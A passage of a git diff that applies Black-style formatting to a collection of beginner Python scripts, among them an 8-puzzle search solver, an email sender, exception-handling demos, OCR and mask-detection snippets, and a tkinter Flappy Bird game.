self.state[i][j]==0: - if(i>0): + if self.state[i][j] == 0: + if i > 0: action.append(2) - if(j>0): + if j > 0: action.append(0) - if(iother.getManhattanDistance()): + if self.optimizer == 0: + if self.getManhattanDistance() > other.getManhattanDistance(): return True else: return False - elif(self.optimizer==1): - if(self.getHammingDistance()>other.getHammingDistance()): + elif self.optimizer == 1: + if self.getHammingDistance() > other.getHammingDistance(): return True else: return False - elif(self.optimizer==2): - if(self.getHammingDistance() + self.getManhattanDistance() >other.getHammingDistance() + self.getManhattanDistance()): + elif self.optimizer == 2: + if ( + self.getHammingDistance() + self.getManhattanDistance() + > other.getHammingDistance() + self.getManhattanDistance() + ): return True else: return False return True def __ge__(self, other): - if(self.optimizer==0): - if(self.getManhattanDistance() >= other.getManhattanDistance()): + if self.optimizer == 0: + if self.getManhattanDistance() >= other.getManhattanDistance(): return True else: return False - elif(self.optimizer==1): - if(self.getHammingDistance() >= other.getHammingDistance()): + elif self.optimizer == 1: + if self.getHammingDistance() >= other.getHammingDistance(): return True else: return False - elif(self.optimizer==2): - if(self.getHammingDistance() + self.getManhattanDistance() >= other.getHammingDistance() + self.getManhattanDistance()): + elif self.optimizer == 2: + if ( + self.getHammingDistance() + self.getManhattanDistance() + >= other.getHammingDistance() + self.getManhattanDistance() + ): return True else: return False return True def __lt__(self, other): - if(self.optimizer==0): - if(self.getManhattanDistance()flatState[j]: + for i in range(len(flatState) - 1): + for j in range(i + 1, len(flatState)): + if ( + flatState[i] != 0 + and flatState[j] != 0 + and flatState[i] > flatState[j] + ): inversions = inversions + 1 - return inversions%2==0 - + return inversions % 2 == 0 + def breadth_first_search(self): - ''' - Parameters: State - Returns: List of Moves to solve the state, otherwise None if unsolvable - ''' - if(self.isSolvable()==False): - return (None,None) + """ + Parameters: State + Returns: List of Moves to solve the state, otherwise None if unsolvable + """ + if self.isSolvable() == False: + return (None, None) closed = list() q = deque() - q.append(Node(state = self.state,depth = 0)) + q.append(Node(state=self.state, depth=0)) while q: node = q.popleft() - + if node.isGoalState(): - return (node.moves,len(closed)) + return (node.moves, len(closed)) if node.state not in closed: closed.append(node.state) for action in node.getAvailableActions(): q.append(node.getResultFromAction(action)) - return (None,None) + return (None, None) def depth_first_search(self): - ''' - Parameters: State - Returns: List of Moves to solve the state, otherwise None if unsolvable - ''' - if(self.isSolvable()==False): - return (None,None) + """ + Parameters: State + Returns: List of Moves to solve the state, otherwise None if unsolvable + """ + if self.isSolvable() == False: + return (None, None) closed = list() q = list() - q.append(Node(state = self.state,depth = 0)) + q.append(Node(state=self.state, depth=0)) while q: node = q.pop() if node.isGoalState(): - return (node.moves,len(closed)) + return (node.moves, len(closed)) if node.state not in closed: closed.append(node.state) for action in node.getAvailableActions(): q.append(node.getResultFromAction(action)) - return (None,None) + return (None, None) - def uniform_cost_search(self,optimizer=0): - ''' - Parameters: State, Optimizer - Returns: List of Moves to solve the state, otherwise None if unsolvable - ''' - if(self.isSolvable()==False): - return (None,None) + def uniform_cost_search(self, optimizer=0): + """ + Parameters: State, Optimizer + Returns: List of Moves to solve the state, otherwise None if unsolvable + """ + if self.isSolvable() == False: + return (None, None) closed = list() q = PriorityQueue() - q.put(Node(state = self.state,depth = 0,optimizer=optimizer)) + q.put(Node(state=self.state, depth=0, optimizer=optimizer)) while q: node = q.get() if node.isGoalState(): - return (node.moves,len(closed)) + return (node.moves, len(closed)) if node.state not in closed: closed.append(node.state) for action in node.getAvailableActions(): q.put(node.getResultFromAction(action)) - return (None,None) + return (None, None) def a_star(self): - ''' - Parameters: State, Optimizer - Returns: List of Moves to solve the state, otherwise None if unsolvable - ''' - if(self.isSolvable()==False): - return (None,None) + """ + Parameters: State, Optimizer + Returns: List of Moves to solve the state, otherwise None if unsolvable + """ + if self.isSolvable() == False: + return (None, None) closed = dict() q = PriorityQueue() - node = Node(state = self.state,depth = 0) - q.put((node.getManhattanDistance(),node)) + node = Node(state=self.state, depth=0) + q.put((node.getManhattanDistance(), node)) while q: - dist,node = q.get() + dist, node = q.get() closed[node] = dist if node.isGoalState(): - return (node.moves,len(closed)) + return (node.moves, len(closed)) for action in node.getAvailableActions(): nextNode = node.getResultFromAction(action) nextDist = nextNode.getManhattanDistance() - if nextNode not in closed or nextNode.depth + nextDist < closed[nextNode]: - q.put((nextNode.depth+nextDist,nextNode)) - return (None,None) + if ( + nextNode not in closed + or nextNode.depth + nextDist < closed[nextNode] + ): + q.put((nextNode.depth + nextDist, nextNode)) + return (None, None) + def toWord(action): - ''' - Parameters: List of moves - Returns: Returns List of moves in Word - ''' - if(action==0): + """ + Parameters: List of moves + Returns: Returns List of moves in Word + """ + if action == 0: return "Left" - if(action==1): + if action == 1: return "Right" - if(action==2): + if action == 2: return "Top" - if(action==3): + if action == 3: return "Bottom" + + # initialState = [[1,8,4],[3,6,0],[2,7,5]] # # [[1,2,3],[4,5,6],[0,7,8]] -# # [[6,8,5],[2,3,4],[1,0,7]] +# # [[6,8,5],[2,3,4],[1,0,7]] # # [[13,11,10,7],[6,0,15,2],[14,1,8,12],[5,3,4,9]] # # [[8,2,3],[4,6,5],[7,8,0]] # solver = Solver(initialState) @@ -353,7 +415,6 @@ def toWord(action): # print("Execution Time:- {:.2f} ms".format((endTime-startTime)*1000)) - # print('-------------------------UCS--------------------------------') # startTime = time.time() # moves,nodesGenerated = solver.uniform_cost_search() @@ -368,7 +429,6 @@ def toWord(action): # print("Execution Time:- {:.2f} ms".format((endTime-startTime)*1000)) - # print('-------------------------BFS--------------------------------') # startTime = time.time() # moves,nodesGenerated = (solver.breadth_first_search()) @@ -383,7 +443,6 @@ def toWord(action): # print("Execution Time:- {:.2f} ms".format((endTime-startTime)*1000)) - # print('-------------------------DFS--------------------------------') # startTime = time.time() # moves,nodesGenerated = (solver.depth_first_search()) @@ -396,5 +455,3 @@ def toWord(action): # print("No. of moves:- {}".format(len(moves))) # print("Required Moves:- {}".format(wordMoves)) # print("Execution Time:- {:.2f} ms".format((endTime-startTime)*1000)) - - diff --git a/Electronics_Algorithms/Ohms_law.py b/Electronics_Algorithms/Ohms_law.py index 8642e563c2a..b7adcbdf379 100644 --- a/Electronics_Algorithms/Ohms_law.py +++ b/Electronics_Algorithms/Ohms_law.py @@ -1,11 +1,11 @@ def ohms_law(v=0, i=0, r=0): - if(v == 0): + if v == 0: result = i * r return result - elif(i == 0): + elif i == 0: result = v / r return result - elif(r == 0): + elif r == 0: result = v / i return result else: diff --git a/Email-Automation.py b/Email-Automation.py index 29474aacded..6b37f3e111c 100644 --- a/Email-Automation.py +++ b/Email-Automation.py @@ -2,25 +2,25 @@ from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText -fro_add="dilipvijjapu@gmail.com" -to_add="vijjapudilip@gmail.com" +fro_add = "dilipvijjapu@gmail.com" +to_add = "vijjapudilip@gmail.com" -message=MIMEMultipart() -message['From']=fro_add -message['To']=",".join(to_add) -message['subject']="Testinf mail" +message = MIMEMultipart() +message["From"] = fro_add +message["To"] = ",".join(to_add) +message["subject"] = "Testinf mail" -body='Hai this is dilip ,How are you' +body = "Hai this is dilip ,How are you" -message.attach(MIMEText(body,'plain')) +message.attach(MIMEText(body, "plain")) -email=" " -password=" " +email = " " +password = " " -mail=smtplib.SMTP('smtp.gmail.com',587) +mail = smtplib.SMTP("smtp.gmail.com", 587) mail.ehlo() mail.starttls() -mail.login(email,password) -text=message.as_string() -mail.sendmail(fro_add,to_add,text) -mail.quit() \ No newline at end of file +mail.login(email, password) +text = message.as_string() +mail.sendmail(fro_add, to_add, text) +mail.quit() diff --git a/EncryptionTool.py b/EncryptionTool.py index cdf74e0b7e0..f6600752fa6 100644 --- a/EncryptionTool.py +++ b/EncryptionTool.py @@ -18,12 +18,12 @@ def encryptChar(target): # encrytion algorithm - target = (((target + 42) * key) - 449) + target = ((target + 42) * key) - 449 return target def decryptChar(target): - target = (((target + 449) / key) - 42) + target = ((target + 449) / key) - 42 return target @@ -51,7 +51,7 @@ def readAndDecrypt(filename): datalistint = [] actualdata = [] datalist = data.split(" ") - datalist.remove('') + datalist.remove("") datalistint = [float(data) for data in datalist] for data in datalist: current1 = int(decryptChar(data)) diff --git a/Exception_Handling_in_Python.py b/Exception_Handling_in_Python.py index 05a16e50f21..17f0e5ca1c0 100644 --- a/Exception_Handling_in_Python.py +++ b/Exception_Handling_in_Python.py @@ -1,119 +1,121 @@ -#Exception handling using python +# Exception handling using python a = 12 b = 0 -#a = int(input()) -#b = int(input()) +# a = int(input()) +# b = int(input()) try: - c = a/b - print(c) - #trying to print an unknown variable d - print(d) - + c = a / b + print(c) + # trying to print an unknown variable d + print(d) + except ZeroDivisionError: - print("Invalid input. Divisor cannot be zero.") - + print("Invalid input. Divisor cannot be zero.") + except NameError: - print('Name of variable not defined.') - + print("Name of variable not defined.") + -#finally statement is always executed whether or not any errors occur +# finally statement is always executed whether or not any errors occur a = 5 b = 0 -#a = int(input()) -#b = int(input()) +# a = int(input()) +# b = int(input()) try: - c = a/b - print(c) - + c = a / b + print(c) + except ZeroDivisionError: - print("Invalid input. Divisor cannot be zero.") - + print("Invalid input. Divisor cannot be zero.") + finally: - print('Hope all errors were resolved!!') - + print("Hope all errors were resolved!!") -#A few other common errors -#SyntaxError + +# A few other common errors +# SyntaxError try: - #eval is a built-in-function used in python, eval function parses the expression argument and evaluates it as a python expression. - eval('x === x') - + # eval is a built-in-function used in python, eval function parses the expression argument and evaluates it as a python expression. + eval("x === x") + except SyntaxError: - print('Please check your syntax.') - + print("Please check your syntax.") -#TypeError + +# TypeError try: - a = '2' + 2 - -except TypeError: - print('int type cannot be added to str type.') - + a = "2" + 2 + +except TypeError: + print("int type cannot be added to str type.") -#ValueError + +# ValueError try: - a = int('abc') - + a = int("abc") + except ValueError: - print('Enter a valid integer literal.') - + print("Enter a valid integer literal.") + -#IndexError +# IndexError -l = [1,2,3,4] +l = [1, 2, 3, 4] try: - print(l[4]) - + print(l[4]) + except IndexError: - print('Index of the sequence is out of range. Indexing in python starts from 0.') - + print("Index of the sequence is out of range. Indexing in python starts from 0.") + -#FileNotFoundError +# FileNotFoundError -f = open('aaa.txt','w') #File aaa.txt created +f = open("aaa.txt", "w") # File aaa.txt created f.close() try: - #Instead of aaa.txt lets try opening abc.txt - f = open('abc.txt','r') + # Instead of aaa.txt lets try opening abc.txt + f = open("abc.txt", "r") except FileNotFoundError: - print('Incorrect file name used') + print("Incorrect file name used") finally: - f.close() - + f.close() -#Handling multiple errors in general + +# Handling multiple errors in general try: - a = 12/0 - b = '2' + 2 - c = int('abc') - eval('x===x') - + a = 12 / 0 + b = "2" + 2 + c = int("abc") + eval("x===x") + except: - pass - + pass + finally: - print('Handled multiples errors at one go with no need of knowing names of the errors.') - + print( + "Handled multiples errors at one go with no need of knowing names of the errors." + ) + -#Creating your own Error +# Creating your own Error a = 8 -#a = int(input()) +# a = int(input()) if a < 18: - raise Exception('You are legally underage!!!') + raise Exception("You are legally underage!!!") else: - print('All is well, go ahead!!') + print("All is well, go ahead!!") diff --git a/Extract-Table-from-pdf-txt-docx/main.py b/Extract-Table-from-pdf-txt-docx/main.py index 87aff4c6f39..d74649cd054 100644 --- a/Extract-Table-from-pdf-txt-docx/main.py +++ b/Extract-Table-from-pdf-txt-docx/main.py @@ -6,17 +6,17 @@ # %% -if os.path.isdir('Parent')== True: - os.chdir('Parent') -#FOR CHILD1 DIRECTORY -if os.path.isdir('Child1')==True: - os.chdir('Child1') -#PDF FILE READING -if os.path.isfile('Pdf1_Child1.pdf')==True: - df_pdf_child1=tabula.read_pdf('Pdf1_Child1.pdf',pages='all') -#DOCUMENT READING -if os.path.isfile('Document_Child1.docx')==True: - document = Document('Document_Child1.docx') +if os.path.isdir("Parent") == True: + os.chdir("Parent") +# FOR CHILD1 DIRECTORY +if os.path.isdir("Child1") == True: + os.chdir("Child1") +# PDF FILE READING +if os.path.isfile("Pdf1_Child1.pdf") == True: + df_pdf_child1 = tabula.read_pdf("Pdf1_Child1.pdf", pages="all") +# DOCUMENT READING +if os.path.isfile("Document_Child1.docx") == True: + document = Document("Document_Child1.docx") table = document.tables[0] data = [] @@ -28,28 +28,28 @@ continue row_data = dict(zip(keys, text)) data.append(row_data) -df_document_child1=pd.DataFrame(data) -#TEXT READING -if os.path.isfile('Text_Child1.txt')==True: - df_text_child1=pd.read_csv('Text_Child1.txt') +df_document_child1 = pd.DataFrame(data) +# TEXT READING +if os.path.isfile("Text_Child1.txt") == True: + df_text_child1 = pd.read_csv("Text_Child1.txt") # %% df_text_child1 # %% -os.chdir('../') -if os.path.isdir('Parent')== True: - os.chdir('Parent') -#FOR CHILD2 DIRECTORY -if os.path.isdir('Child2')==True: - os.chdir('Child2') -#PDF FILE READING -if os.path.isfile('Pdf1_Child2.pdf')==True: - df_pdf_child2=tabula.read_pdf('Pdf1_Child2.pdf',pages='all') -#DOCUMENT READING -if os.path.isfile('Document_Child2.docx')==True: - document = Document('Document_Child2.docx') +os.chdir("../") +if os.path.isdir("Parent") == True: + os.chdir("Parent") +# FOR CHILD2 DIRECTORY +if os.path.isdir("Child2") == True: + os.chdir("Child2") +# PDF FILE READING +if os.path.isfile("Pdf1_Child2.pdf") == True: + df_pdf_child2 = tabula.read_pdf("Pdf1_Child2.pdf", pages="all") +# DOCUMENT READING +if os.path.isfile("Document_Child2.docx") == True: + document = Document("Document_Child2.docx") table = document.tables[0] data = [] @@ -61,27 +61,27 @@ continue row_data = dict(zip(keys, text)) data.append(row_data) -df_document_child2=pd.DataFrame(data) -#TEXT READING -if os.path.isfile('Text_Child2.txt')==True: - df_text_child2=pd.read_csv('Text_Child2.txt') +df_document_child2 = pd.DataFrame(data) +# TEXT READING +if os.path.isfile("Text_Child2.txt") == True: + df_text_child2 = pd.read_csv("Text_Child2.txt") # %% df_pdf_child2[0].head(4) # %% -os.chdir('../') -if os.path.isdir('Parent')== True: - os.chdir('Parent') -#FOR CHILD3 DIRECTORY -if os.path.isdir('Child3')==True: - os.chdir('Child3') -#PDF FILE READING -if os.path.isfile('Pdf1_Child3.pdf')==True: - df_pdf_child3=tabula.read_pdf('Pdf1_Child3.pdf',pages='all') -#DOCUMENT READING -if os.path.isfile('Document_Child3.docx')==True: - document = Document('Document_Child3.docx') +os.chdir("../") +if os.path.isdir("Parent") == True: + os.chdir("Parent") +# FOR CHILD3 DIRECTORY +if os.path.isdir("Child3") == True: + os.chdir("Child3") +# PDF FILE READING +if os.path.isfile("Pdf1_Child3.pdf") == True: + df_pdf_child3 = tabula.read_pdf("Pdf1_Child3.pdf", pages="all") +# DOCUMENT READING +if os.path.isfile("Document_Child3.docx") == True: + document = Document("Document_Child3.docx") table = document.tables[0] data = [] @@ -93,10 +93,10 @@ continue row_data = dict(zip(keys, text)) data.append(row_data) -df_document_child3=pd.DataFrame(data) -#TEXT READING -if os.path.isfile('Text_Child3.txt')==True: - df_text_child3=pd.read_csv('Text_Child3.txt') +df_document_child3 = pd.DataFrame(data) +# TEXT READING +if os.path.isfile("Text_Child3.txt") == True: + df_text_child3 = pd.read_csv("Text_Child3.txt") # %% df_text_child3 diff --git a/Extract_Text_from_image.py b/Extract_Text_from_image.py index 7812f4de76c..322dbfbb4cd 100644 --- a/Extract_Text_from_image.py +++ b/Extract_Text_from_image.py @@ -1,19 +1,20 @@ # extract text from a img and its coordinates using the pytesseract module import cv2 import pytesseract + # You need to add tesseract binary dependency to system variable for this to work -img =cv2.imread('img.png') -#We need to convert the img into RGB format -img=cv2.cvtColor(img,cv2.COLOR_BGR2RGB) +img = cv2.imread("img.png") +# We need to convert the img into RGB format +img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) -hI,wI,k=img.shape +hI, wI, k = img.shape print(pytesseract.image_to_string(img)) -boxes=pytesseract.image_to_boxes(img) +boxes = pytesseract.image_to_boxes(img) for b in boxes.splitlines(): - b=b.split(' ') - x,y,w,h=int(b[1]),int(b[2]),int(b[3]),int(b[4]) - cv2.rectangle(img,(x,hI-y),(w,hI-h),(0,0,255),0.2) + b = b.split(" ") + x, y, w, h = int(b[1]), int(b[2]), int(b[3]), int(b[4]) + cv2.rectangle(img, (x, hI - y), (w, hI - h), (0, 0, 255), 0.2) -cv2.imshow('img',img) +cv2.imshow("img", img) cv2.waitKey(0) diff --git a/Face_Mask_detection (haarcascade)/mask_detection.py b/Face_Mask_detection (haarcascade)/mask_detection.py index f19a919907f..9ba4c34734b 100644 --- a/Face_Mask_detection (haarcascade)/mask_detection.py +++ b/Face_Mask_detection (haarcascade)/mask_detection.py @@ -2,44 +2,41 @@ from PIL import Image, ImageOps import numpy as np import cv2 + # import os -str = '' -faceCascade= cv2.CascadeClassifier("Resources/haarcascade_frontalface_default.xml") +str = "" +faceCascade = cv2.CascadeClassifier("Resources/haarcascade_frontalface_default.xml") np.set_printoptions(suppress=True) -model = tensorflow.keras.models.load_model('Resources/keras_model.h5') -data = np.ndarray(shape=(1, 224,224, 3), dtype=np.float32) +model = tensorflow.keras.models.load_model("Resources/keras_model.h5") +data = np.ndarray(shape=(1, 224, 224, 3), dtype=np.float32) cap = cv2.VideoCapture(0) -cap.set(3,640) -cap.set(4,480) +cap.set(3, 640) +cap.set(4, 480) while True: - success,img = cap.read() - + success, img = cap.read() + cv2.imshow("webcam", img) - faces = faceCascade.detectMultiScale(img,1.1,4) - - - for (x,y,w,h) in faces: - crop_img = img[y:y+h, x:x+w] - crop_img = cv2.resize(crop_img,(224,224)) - normalized_image_array = (crop_img.astype(np.float32) / 127.0) - 1 - data[0] = normalized_image_array + faces = faceCascade.detectMultiScale(img, 1.1, 4) + + for (x, y, w, h) in faces: + crop_img = img[y : y + h, x : x + w] + crop_img = cv2.resize(crop_img, (224, 224)) + normalized_image_array = (crop_img.astype(np.float32) / 127.0) - 1 + data[0] = normalized_image_array prediction = model.predict(data) print(prediction) if prediction[0][0] > prediction[0][1]: - str = 'Mask' + str = "Mask" else: - str = 'Without-mask' + str = "Without-mask" - - cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2) - cv2.putText(img,str,(x,y),cv2.FONT_HERSHEY_COMPLEX,1,(0,150,0),1) + cv2.rectangle(img, (x, y), (x + w, y + h), (255, 0, 0), 2) + cv2.putText(img, str, (x, y), cv2.FONT_HERSHEY_COMPLEX, 1, (0, 150, 0), 1) cv2.imshow("Result", img) - - - if cv2.waitKey(1) & 0xFF == ord('q'): + if cv2.waitKey(1) & 0xFF == ord("q"): break diff --git a/Factorial.py b/Factorial.py index 39fc23fd12b..572e928985a 100644 --- a/Factorial.py +++ b/Factorial.py @@ -13,10 +13,10 @@ def factorial(num: int): n = int(input("Enter a number to calculate it's factorial: ")) except ValueError: - print('Please enter an integer!') + print("Please enter an integer!") sys.exit() if n < 0: - print('Please enter a positive integer!') + print("Please enter a positive integer!") else: print(f"The factorial of {n} is: {factorial(n)}") diff --git a/Fibonacci_sequence_recursive_sol.py b/Fibonacci_sequence_recursive_sol.py index 4cf1a387a60..01a508518dc 100644 --- a/Fibonacci_sequence_recursive_sol.py +++ b/Fibonacci_sequence_recursive_sol.py @@ -1,8 +1,9 @@ def fib(term): - if term <= 1: - return (term) - else: - return (fib(term-1) + fib(term-2)) + if term <= 1: + return term + else: + return fib(term - 1) + fib(term - 2) + # Change this value to adjust the number of terms in the sequence. number_of_terms = int(input()) diff --git a/FizzBuzz.py b/FizzBuzz.py index 7d8efcb6d68..c6fbb2d100b 100644 --- a/FizzBuzz.py +++ b/FizzBuzz.py @@ -1,6 +1,6 @@ # FizzBuzz # A program that prints the numbers from 1 to num (User given number)! -# For multiples of ‘3’ print “Fizz” instead of the number. +# For multiples of ‘3’ print “Fizz” instead of the number. # For the multiples of ‘5’ print “Buzz”. # If the number is divisible by both 3 and 5 then print "FizzBuzz". # If none of the given conditions are true then just print the number! @@ -8,14 +8,15 @@ def FizzBuzz(): num = int(input("Enter the number here: ")) - for i in range(1, num+1): - if i%3 == 0 and i%5 == 0: + for i in range(1, num + 1): + if i % 3 == 0 and i % 5 == 0: print("FizzBuzz") - elif i%3 == 0: + elif i % 3 == 0: print("Fizz") - elif i%5 == 0: + elif i % 5 == 0: print("Buzz") else: print(i) -FizzBuzz() \ No newline at end of file + +FizzBuzz() diff --git a/Flappy Bird - created with tkinter/Background.py b/Flappy Bird - created with tkinter/Background.py index ddb4ade72d4..78dc415a9f4 100644 --- a/Flappy Bird - created with tkinter/Background.py +++ b/Flappy Bird - created with tkinter/Background.py @@ -15,7 +15,8 @@ class Background(Canvas): def __init__(self, tk_instance, *geometry, fp="background.png", animation_speed=50): # Verifica se o parâmetro tk_instance é uma instância de Tk - if not isinstance(tk_instance, Tk): raise TypeError("The tk_instance argument must be an instance of Tk.") + if not isinstance(tk_instance, Tk): + raise TypeError("The tk_instance argument must be an instance of Tk.") # Recebe o caminho de imagem e a velocidade da animação self.image_path = fp @@ -26,19 +27,36 @@ def __init__(self, tk_instance, *geometry, fp="background.png", animation_speed= self.__height = geometry[1] # Inicializa o construtor da classe Canvas - Canvas.__init__(self, master=tk_instance, width=self.__width, height=self.__height) + Canvas.__init__( + self, master=tk_instance, width=self.__width, height=self.__height + ) # Carrega a imagem que será usada no plano de fundo - self.__bg_image = \ - self.getPhotoImage(image_path=self.image_path, width=self.__width, height=self.__height, closeAfter=True)[0] + self.__bg_image = self.getPhotoImage( + image_path=self.image_path, + width=self.__width, + height=self.__height, + closeAfter=True, + )[0] # Cria uma imagem que será fixa, ou seja, que não fará parte da animação e serve em situações de bugs na animação - self.__background_default = self.create_image(self.__width // 2, self.__height // 2, image=self.__bg_image) + self.__background_default = self.create_image( + self.__width // 2, self.__height // 2, image=self.__bg_image + ) # Cria as imagens que serão utilizadas na animação do background - self.__background.append(self.create_image(self.__width // 2, self.__height // 2, image=self.__bg_image)) self.__background.append( - self.create_image(self.__width + (self.__width // 2), self.__height // 2, image=self.__bg_image)) + self.create_image( + self.__width // 2, self.__height // 2, image=self.__bg_image + ) + ) + self.__background.append( + self.create_image( + self.__width + (self.__width // 2), + self.__height // 2, + image=self.__bg_image, + ) + ) def getBackgroundID(self): """ @@ -47,9 +65,11 @@ def getBackgroundID(self): return [self.__background_default, *self.__background] @staticmethod - def getPhotoImage(image=None, image_path=None, width=None, height=None, closeAfter=False): + def getPhotoImage( + image=None, image_path=None, width=None, height=None, closeAfter=False + ): """ - Retorna um objeto da classe PIL.ImageTk.PhotoImage de uma imagem e as imagens criadas de PIL.Image + Retorna um objeto da classe PIL.ImageTk.PhotoImage de uma imagem e as imagens criadas de PIL.Image (photoImage, new, original) @param image: Instância de PIL.Image.open @@ -60,14 +80,17 @@ def getPhotoImage(image=None, image_path=None, width=None, height=None, closeAft """ if not image: - if not image_path: return + if not image_path: + return # Abre a imagem utilizando o caminho dela image = openImage(image_path) # Será redimesionada a imagem somente se existir um width ou height - if not width: width = image.width - if not height: height = image.height + if not width: + width = image.width + if not height: + height = image.height # Cria uma nova imagem já redimensionada newImage = image.resize([width, height]) @@ -103,12 +126,23 @@ def reset(self): self.__background.clear() # Cria uma imagem que será fixa, ou seja, que não fará parte da animação e serve em situações de bugs na animação - self.__background_default = self.create_image(self.__width // 2, self.__height // 2, image=self.__bg_image) + self.__background_default = self.create_image( + self.__width // 2, self.__height // 2, image=self.__bg_image + ) # Cria as imagens que serão utilizadas na animação do background - self.__background.append(self.create_image(self.__width // 2, self.__height // 2, image=self.__bg_image)) self.__background.append( - self.create_image(self.__width + (self.__width // 2), self.__height // 2, image=self.__bg_image)) + self.create_image( + self.__width // 2, self.__height // 2, image=self.__bg_image + ) + ) + self.__background.append( + self.create_image( + self.__width + (self.__width // 2), + self.__height // 2, + image=self.__bg_image, + ) + ) def run(self): """ @@ -133,7 +167,9 @@ def run(self): # Cria uma nova imagem a partir da última imagem da animação width = self.bbox(self.__background[0])[2] + self.__width // 2 - self.__background.append(self.create_image(width, self.__height // 2, image=self.__bg_image)) + self.__background.append( + self.create_image(width, self.__height // 2, image=self.__bg_image) + ) # Executa novamente o método depois de um certo tempo self.after(self.animation_speed, self.run) diff --git a/Flappy Bird - created with tkinter/Bird.py b/Flappy Bird - created with tkinter/Bird.py index cf3385d8927..56fdcd1d31c 100644 --- a/Flappy Bird - created with tkinter/Bird.py +++ b/Flappy Bird - created with tkinter/Bird.py @@ -20,13 +20,24 @@ class Bird(Thread): decends = 0.00390625 climbsUp = 0.0911458333 - def __init__(self, background, gameover_function, *screen_geometry, fp="bird.png", event="", descend_speed=5): + def __init__( + self, + background, + gameover_function, + *screen_geometry, + fp="bird.png", + event="", + descend_speed=5 + ): # Verifica se "background" é uma instância de Background e se o "gamerover_method" é chamável - if not isinstance(background, Background): raise TypeError( - "The background argument must be an instance of Background.") - if not callable(gameover_function): raise TypeError("The gameover_method argument must be a callable object.") + if not isinstance(background, Background): + raise TypeError( + "The background argument must be an instance of Background." + ) + if not callable(gameover_function): + raise TypeError("The gameover_method argument must be a callable object.") # Instância os parâmetros self.__canvas = background @@ -52,10 +63,18 @@ def __init__(self, background, gameover_function, *screen_geometry, fp="bird.png self.height = (self.__height // 100) * 11 # Carrega e cria a imagem do pássaro no background - self.__canvas.bird_image = \ - self.getPhotoImage(image_path=self.image_path, width=self.width, height=self.height, closeAfter=True)[0] - self.__birdID = self.__canvas.create_image(self.__width // 2, self.__height // 2, - image=self.__canvas.bird_image, tag=self.__tag) + self.__canvas.bird_image = self.getPhotoImage( + image_path=self.image_path, + width=self.width, + height=self.height, + closeAfter=True, + )[0] + self.__birdID = self.__canvas.create_image( + self.__width // 2, + self.__height // 2, + image=self.__canvas.bird_image, + tag=self.__tag, + ) # Define evento para fazer o pássaro subir self.__canvas.focus_force() @@ -81,11 +100,11 @@ def checkCollision(self): if position[3] >= self.__height + 20: self.__isAlive = False - # Se o pássaro tiver ultrapassado a borda de cima do background, ele será declarado morto + # Se o pássaro tiver ultrapassado a borda de cima do background, ele será declarado morto if position[1] <= -20: self.__isAlive = False - # Dá uma margem de erro ao pássaro de X pixels + # Dá uma margem de erro ao pássaro de X pixels position[0] += int(25 / 78 * self.width) position[1] += int(25 / 77 * self.height) position[2] -= int(20 / 78 * self.width) @@ -119,9 +138,11 @@ def getTag(self): return self.__tag @staticmethod - def getPhotoImage(image=None, image_path=None, width=None, height=None, closeAfter=False): + def getPhotoImage( + image=None, image_path=None, width=None, height=None, closeAfter=False + ): """ - Retorna um objeto da classe PIL.ImageTk.PhotoImage de uma imagem e as imagens criadas de PIL.Image + Retorna um objeto da classe PIL.ImageTk.PhotoImage de uma imagem e as imagens criadas de PIL.Image (photoImage, new, original) @param image: Instância de PIL.Image.open @@ -132,14 +153,17 @@ def getPhotoImage(image=None, image_path=None, width=None, height=None, closeAft """ if not image: - if not image_path: return + if not image_path: + return # Abre a imagem utilizando o caminho dela image = openImage(image_path) # Será redimesionada a imagem somente se existir um width ou height - if not width: width = image.width - if not height: height = image.height + if not width: + width = image.width + if not height: + height = image.height # Cria uma nova imagem já redimensionada newImage = image.resize([width, height]) diff --git a/Flappy Bird - created with tkinter/Flappy Bird.py b/Flappy Bird - created with tkinter/Flappy Bird.py index a07f49b8f22..308a7c6ea70 100644 --- a/Flappy Bird - created with tkinter/Flappy Bird.py +++ b/Flappy Bird - created with tkinter/Flappy Bird.py @@ -51,14 +51,16 @@ def __init__(self): # Verifica se existem as imagens do jogo for file in self.images_fp: if not os.path.exists(file): - raise FileNotFoundError("The following file was not found:\n{}".format(file)) + raise FileNotFoundError( + "The following file was not found:\n{}".format(file) + ) # Carrega a imagem do botão para começar o jogo self.__startButton_image = Background.getPhotoImage( image_path=self.startButton_fp, width=(self.__width // 100) * self.button_width, height=(self.__height // 100) * self.button_height, - closeAfter=True + closeAfter=True, )[0] # Carrega a imagem do botão para sair do jogo @@ -66,7 +68,7 @@ def __init__(self): image_path=self.exitButton_fp, width=(self.__width // 100) * self.button_width, height=(self.__height // 100) * self.button_height, - closeAfter=True + closeAfter=True, )[0] # Carrega a imagem do título do jogo @@ -74,7 +76,7 @@ def __init__(self): image_path=self.title_fp, width=(self.__width // 100) * self.title_width, height=(self.__height // 100) * self.title_height, - closeAfter=True + closeAfter=True, )[0] # Carrega a imagem do placar do jogo @@ -82,7 +84,7 @@ def __init__(self): image_path=self.scoreboard_fp, width=(self.__width // 100) * self.scoreboard_width, height=(self.__height // 100) * self.scoreboard_height, - closeAfter=True + closeAfter=True, )[0] # Define a velocidade da animação do background com base na largura da janela @@ -128,30 +130,46 @@ def createMenuButtons(self): # Cria um botão para começar o jogo startButton = Button( - self, image=self.__startButton_image, bd=0, command=self.start, cursor=self.button_cursor, - bg=self.button_bg, activebackground=self.button_activebackground + self, + image=self.__startButton_image, + bd=0, + command=self.start, + cursor=self.button_cursor, + bg=self.button_bg, + activebackground=self.button_activebackground, ) # Coloca o botão dentro do background ( Canvas ) self.__buttons.append( - self.__background.create_window((self.__width // 2) - width // 1.5, - int(self.__height / 100 * self.button_position_y), - window=startButton)) + self.__background.create_window( + (self.__width // 2) - width // 1.5, + int(self.__height / 100 * self.button_position_y), + window=startButton, + ) + ) # Cria um botão para sair do jogo exitButton = Button( - self, image=self.__exitButton_image, bd=0, command=self.close, cursor=self.button_cursor, - bg=self.button_bg, activebackground=self.button_activebackground + self, + image=self.__exitButton_image, + bd=0, + command=self.close, + cursor=self.button_cursor, + bg=self.button_bg, + activebackground=self.button_activebackground, ) # Coloca o botão dentro do background ( Canvas ) self.__buttons.append( - self.__background.create_window((self.__width // 2) + width // 1.5, - int(self.__height / 100 * self.button_position_y), - window=exitButton)) + self.__background.create_window( + (self.__width // 2) + width // 1.5, + int(self.__height / 100 * self.button_position_y), + window=exitButton, + ) + ) def createScoreBoard(self): """ - Método para criar a imagem do placar do jogo no background + Método para criar a imagem do placar do jogo no 